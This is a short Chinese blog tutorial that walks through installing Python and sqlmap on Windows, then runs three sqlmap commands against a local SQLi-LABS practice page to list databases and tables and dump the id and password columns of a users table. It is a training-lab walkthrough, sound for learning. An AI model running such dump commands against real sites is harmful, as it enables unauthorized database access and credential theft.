首先要安装python然后配置好环境(这里我安装好了丢个截图偷下懒)
-
1| 点本机-高级属性-系统属性-环境变量
![](https://i-blog.csdnimg.cn/blog_migrate/266442a7652f82eac148bec1443052c4.png#pic_center)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a78719606018f21ce784c2f8a4b26b06.png#pic_center)
再去网页下载sqlmap
下载地址
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/231cf4ff51a9202ff943a1ff1165bba6.png#pic_center)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/c597db81f57b7485a5b0b1ebac3fadfa.png#pic_center)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/81c4c5134624ee5ea53ab13ea03fb561.png#pic_center)
-
将原先那个解压的文件夹地址放到起始位置确定即可使用
![![在这里插入图片描述](https://img-blog.csdnimg.cn/20200909205856548.png#pic_center](https://i-blog.csdnimg.cn/blog_migrate/5318f6e7a3479c899244bab5a9ddedab.png#pic_center)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a4896149bef0582624ce80cebf23f4bb.png#pic_center)
-
使用sqlmap
-
登入个能注入的网站(这里用了SQLi-LABS Page-1(Basic Challenges))
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/6a8ca6e8320254e11bc2225eec1f2ce4.png#pic_center)
sqlmap -u "http://localhost:81/Less-1/?id=1" --dbs
- 输入代码先找到数据库
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/f1a6f76b824929ca0eea8e45a1e9a118.png#pic_center)
- 再进入数据库找表(这里是security的表)
sqlmap -u "http://localhost:81/Less-1/?id=1" -D security --tables
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/d9ffa252ad118118c7bc610845762574.png#pic_center)
sqlmap -u "http://localhost:81/Less-1/?id=1" --dump -D security -T users -C 'id,pssword'
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/4ef42e37407ac3fc3e3a515da9c440d5.png#pic_center)